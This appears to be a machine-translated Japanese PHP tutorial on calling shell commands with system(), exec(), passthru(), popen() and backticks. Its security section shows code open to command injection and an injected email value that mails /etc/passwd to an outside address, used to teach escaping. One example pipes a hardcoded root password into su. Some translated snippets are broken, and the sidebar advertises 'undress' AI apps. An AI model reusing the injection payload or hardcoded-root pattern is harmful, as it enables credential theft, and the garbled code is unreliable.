ホームページ php教程 php手册 PHP はシステム外部コマンドを実行します system() exec() passthru()

PHP はシステム外部コマンドを実行します system() exec() passthru()

Jun 13, 2016 pm 12:22 PM
exec php system 違い 注文 外部の 埋め込む やっと システム 出力 戻る

違い:
system() はシェル結果の最後の行を出力して返します。
exec() は結果を出力せず、シェル結果の最後の行を返します。すべての結果は返された配列に保存できます。
passthru()はコマンドを呼び出すだけで、コマンドの結果をそのまま標準出力装置に直接出力します。
同じ点: コマンド実行のステータス コードを取得できます
デモ:

コードをコピー コードは次のとおりです:


//system('dir');
// exec ('dir');
// echo `dir`; >

サーバー側スクリプト言語として、PHP は、単純または複雑な動的 Web ページの作成などのタスクを完全に実行できます。ただし、常にそうとは限りません。場合によっては、特定の機能を実装するために、半分の労力で 2 倍の結果を得ることができるように、オペレーティング システムの外部プログラム (またはコマンド) を使用する必要があります。

では、PHP スクリプトで外部コマンドを呼び出すことは可能でしょうか?もしそうなら、どうすればいいですか?どのような懸念がありますか?この記事を読めば、きっとこれらの疑問に答えられると思います。
それは可能ですか?
答えは「はい」です。 PHP は、他のプログラミング言語と同様に、プログラム内で外部コマンドを呼び出すことができます。呼び出しは非常に簡単です。1 つまたはいくつかの関数を使用するだけです。
前提条件
PHP は基本的に WEB プログラム開発に使用されるため、セキュリティは人々が考慮する重要な側面となっています。そこで、PHP 設計者は PHP への扉、つまりセーフ モードを追加しました。セーフ モードで実行する場合、PHP スクリプトには次の 4 つの制限が適用されます:
外部コマンドの実行
ファイルを開くときにいくつかの制限があります
MySQL データベースに接続
HTTP ベースの認証
セーフ モードでは、特定のディレクトリにある外部プログラムのみが実行でき、他のプログラムへの呼び出しは拒否されます。このディレクトリは、php.ini ファイルのsafe_mode_exec_dir ディレクティブを使用するか、PHP のコンパイル時に --with-exec-dir オプションを追加することで指定できます。デフォルトは /usr/local/php/bin です。
結果 (PHP スクリプトにエラーがないことを意味します) を出力できるはずの外部コマンドを呼び出しても空白が返される場合は、ネットワーク管理者が PHP をセーフ モードで実行している可能性があります。
どうやってやるの?
PHP で外部コマンドを呼び出すには、次の 3 つの方法を使用できます:
1) PHP が提供する特別な関数を使用します
PHP は、外部コマンドを実行するために合計 3 つの特別な関数を提供します: system() 、 exec()、パススルー()。
system()
プロトタイプ: string system (string command [, int return_var])
system() 関数は、指定されたコマンドを実行し、結果を出力して返します。 2 番目のパラメーターはオプションであり、コマンドの実行後にステータス コードを取得するために使用されます。
例:


コードをコピー コードは次のとおりです:

system(" /usr/ local/bin/webalizer/webalizer");
?>


exec() プロトタイプ: string exec (string command [, string array [, int return_var] ])
exec () 関数は system () と似ていますが、指定されたコマンドを実行しますが、結果は出力されず、結果の最後の行が返されます。コマンド結果の最後の行のみを返しますが、2 番目のパラメーター配列を使用すると、配列の末尾に結果を 1 行ずつ追加することで完全な結果を取得できます。したがって、配列が空でない場合は、呼び出す前に unset() を使用して配列をクリアするのが最善です。第3パラメータは第2パラメータを指定した場合のみ、コマンド実行時のステータスコードを取得できます。
例:


コードをコピー コードは次のとおりです:

exec(" /bin/ ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?> ;


passthru()

プロトタイプ: void passthru (string command [, int return_var])
passthru () はコマンドを呼び出すだけで結果は返しません。コマンドの実行結果をそのまま標準出力装置に保存します。したがって、 passthru() 関数は、pbmplus (元の画像のバイナリ ストリームを出力する、Unix で画像を処理するツール) のようなプログラムを呼び出すためによく使用されます。コマンド実行時のステータスコードも取得できます。
例:


コードをコピー コードは次のとおりです:

header("コンテンツタイプ : image/gif");
passthru("./ppmtogif Hunte.ppm");
?>>


2) Popen() 関数を使用してプロセスを開きます。
上記のメソッドは単にコマンドを実行するだけで、コマンドと対話することはできません。ただし、コマンドに何かを入力する必要がある場合があります。たとえば、Linux システム ユーザーを追加する場合、su を呼び出して現在のユーザーを root に変更する必要があり、su コマンドはコマンド ラインに root パスワードを入力する必要があります。この場合、明らかに上記の方法を使用することはできません。
popen() 関数は、プロセス パイプを開き、指定されたコマンドを実行し、ファイル ハンドルを返します。ファイルハンドルが返されるので、読み書きが可能です。 PHP3 では、この種のハンドルは書き込みまたは読み取りの 1 つの操作モードでのみ使用できますが、PHP4 以降は読み取りと書き込みを同時に行うことができます。ハンドルが 1 つのモード (読み取りまたは書き込み) で開かれていない限り、ハンドルを閉じるには pclose() 関数を呼び出す必要があります。
例 1:

コードをコピー コードは次のとおりです:


$fp =popen( "/bin/ls -l", "r");
?>


例 2:

コードをコピーします🎜> コードは次のとおりです:

/* PHP でシステム ユーザーを追加する方法
以下は、という名前のユーザーを追加するルーチンです。 james、
root パスワードは非常に優れています。参考のみ
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood"; = "ジェームズ";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w") ;
@fputs($fp,$rootpasswd);
@pclose($fp);
?>


3) バックティック (`、つまりキーボードの ESC キーの下にあるものは ~) と同じです

このメソッドは以前は PHP ドキュメントに記載されておらず、秘密のテクニックとして存在していました。方法は非常に簡単です。実行するコマンドを 2 つのバックティックで囲み、この式の値がコマンドの実行結果になります。例:


コードをコピー コードは次のとおりです:

$res='/ bin/ls - l';
echo '
'.$res.'
?>


このスクリプトの出力は次のようになります。 🎜>hunte.gif
hunte.ppm jpg.htm
jpg.jpg
passthru.php
何を考慮する必要がありますか?
考慮すべき 2 つの問題: セキュリティとタイムアウト。
安全を第一に考えてください。たとえば、小規模なオンライン ストアを運営しており、販売可能な製品のリストがファイルに保存されているとします。ユーザーが電子メール アドレスを入力して製品のリストを送信できるフォームを含む HTML ファイルを作成します。 PHP の mail() 関数を使用したことがない (または聞いたことがない) と仮定すると、Linux/Unix システムのメール プログラムを呼び出してこのファイルを送信します。プログラムは次のようなものです:



コードをコピー

コードは次のとおりです: system( "mail $to < products.txt");

echo "弊社の製品カタログがあなたのメールボックスに送信されました:

?>


このコードを使用してください。一般的にはユーザーに危険はありませんが、実際には非常に大きなセキュリティ ホールが存在します。悪意のあるユーザーが次のような EMAIL アドレスを入力すると、次のようになります:
'--bla ; mail somebody@domain.com < /etc/passwd ;'
; mail somebody@domain.com < /etc/passwd ; < products.txt'

このようなコマンドを見たら、誰でも冷や汗をかくでしょう。
幸いなことに、PHP には EscapeShellCmd() と EscapeShellArg() という 2 つの関数が用意されています。 EscapeShellCmd 関数は、シェルを使用せずに別のコマンドを実行するために使用される文字列内のすべての文字をエスケープします。これらの文字は、セミコロン ()、リダイレクト (>)、ファイルからの読み取り (<) など、シェル内で特別な意味を持ちます。 EscapeShellArg 関数は、コマンド パラメーターを処理するために使用されます。指定された文字列の前後に一重引用符を追加し、文字列内の一重引用符をエスケープして、文字列をコマンド引数として安全に使用できるようにします。
タイムアウトの問題をもう一度見てみましょう。コマンドの実行に時間がかかる場合は、システムのバックグラウンドでコマンドを実行する必要があります。ただし、デフォルトでは、system() などの関数は、コマンドの実行が完了するまで待ってから戻ります (実際には、コマンドの出力を待つ必要があります)。そのため、PHP スクリプトは確実にタイムアウトになります。解決策は、コマンドの出力を別のファイルまたはストリームにリダイレクトすることです。たとえば、



コードをコピーします

コードは次のとおりです:

system("/usr/local/bin/order_proc > /tmp/null &");


このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 Apr 05, 2025 am 12:04 AM

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

一致式(PHP 8)とそれがスイッチとどのように異なるかを説明します。 一致式(PHP 8)とそれがスイッチとどのように異なるかを説明します。 Apr 06, 2025 am 12:03 AM

PHP8では、一致式は、式の値に基づいて異なる結果を返す新しい制御構造です。 1)Switchステートメントに似ていますが、実行ステートメントブロックの代わりに値を返します。 2)一致式の式は厳密に比較され、セキュリティが向上します。 3)スイッチステートメントの脱落の可能性を回避し、コードのシンプルさと読みやすさを向上させます。

H5とミニプログラムとアプリの違い H5とミニプログラムとアプリの違い Apr 06, 2025 am 10:42 AM

H5。ミニプログラムとアプリの主な違いは次のとおりです。技術アーキテクチャ:H5はWebテクノロジーに基づいており、ミニプログラムとアプリは独立したアプリケーションです。経験と機能:H5は軽量で使いやすく、機能が限られています。ミニプログラムは軽量で、インタラクティブが良好です。アプリは強力で、スムーズな経験があります。互換性:H5はクロスプラットフォーム互換性があり、アプレットとアプリはプラットフォームによって制限されています。開発コスト:H5には、開発コストが低く、中程度のミニプログラム、最高のアプリがあります。適用可能なシナリオ:H5は情報表示に適しており、アプレットは軽量アプリケーションに適しており、アプリは複雑な機能に適しています。

クロスサイトリクエストフォーファリー(CSRF)とは何ですか?また、PHPにCSRF保護をどのように実装しますか? クロスサイトリクエストフォーファリー(CSRF)とは何ですか?また、PHPにCSRF保護をどのように実装しますか? Apr 07, 2025 am 12:02 AM

PHPでは、予測不可能なトークンを使用して、CSRF攻撃を効果的に防ぐことができます。特定の方法には次のものが含まれます。1。フォームのCSRFトークンを生成および埋め込みます。 2.リクエストを処理するときにトークンの有効性を確認します。

PSのエクスポートPDFのパスワード保護を設定する方法 PSのエクスポートPDFのパスワード保護を設定する方法 Apr 06, 2025 pm 04:45 PM

Photoshopでパスワードで保護されたPDFをエクスポート:画像ファイルを開きます。 [ファイル]&gtをクリックします。 「エクスポート」&gt; 「PDFとしてのエクスポート」。 「セキュリティ」オプションを設定し、同じパスワードを2回入力します。 [エクスポート]をクリックして、PDFファイルを生成します。

XPathを使用して、JavaScriptの指定されたDOMノードから検索する方法は? XPathを使用して、JavaScriptの指定されたDOMノードから検索する方法は? Apr 04, 2025 pm 11:15 PM

JavaScriptのDOMノードの下でのXpath検索方法の詳細な説明、XPath式に基づいてDOMツリーから特定のノードを見つける必要があることがよくあります。あなたがする必要があるなら...

どのようにしてクラスが拡張されたり、PHPでメソッドがオーバーライドされたりするのを防ぐことができますか? (最終キーワード) どのようにしてクラスが拡張されたり、PHPでメソッドがオーバーライドされたりするのを防ぐことができますか? (最終キーワード) Apr 08, 2025 am 12:03 AM

PHPでは、最終的なキーワードを使用して、クラスが継承されないようにし、メソッドが上書きされます。 1)クラスを決勝としてマークする場合、クラスを継承することはできません。 2)メソッドを最終的にマークする場合、メソッドはサブクラスによって書き換えられません。最終的なキーワードを使用すると、コードの安定性とセキュリティが保証されます。

PHPで厳密なタイプ(declare(strict_types = 1);)を説明します。 PHPで厳密なタイプ(declare(strict_types = 1);)を説明します。 Apr 07, 2025 am 12:05 AM

PHPの厳格なタイプは、declare(strict_types = 1)を追加することで有効になります。ファイルの上部に。 1)関数パラメーターのタイプチェックと戻り値を強制して、暗黙の型変換を防ぎます。 2)厳格なタイプを使用すると、コードの信頼性と予測可能性を改善し、バグを減らし、保守性と読みやすさを向上させることができます。

See all articles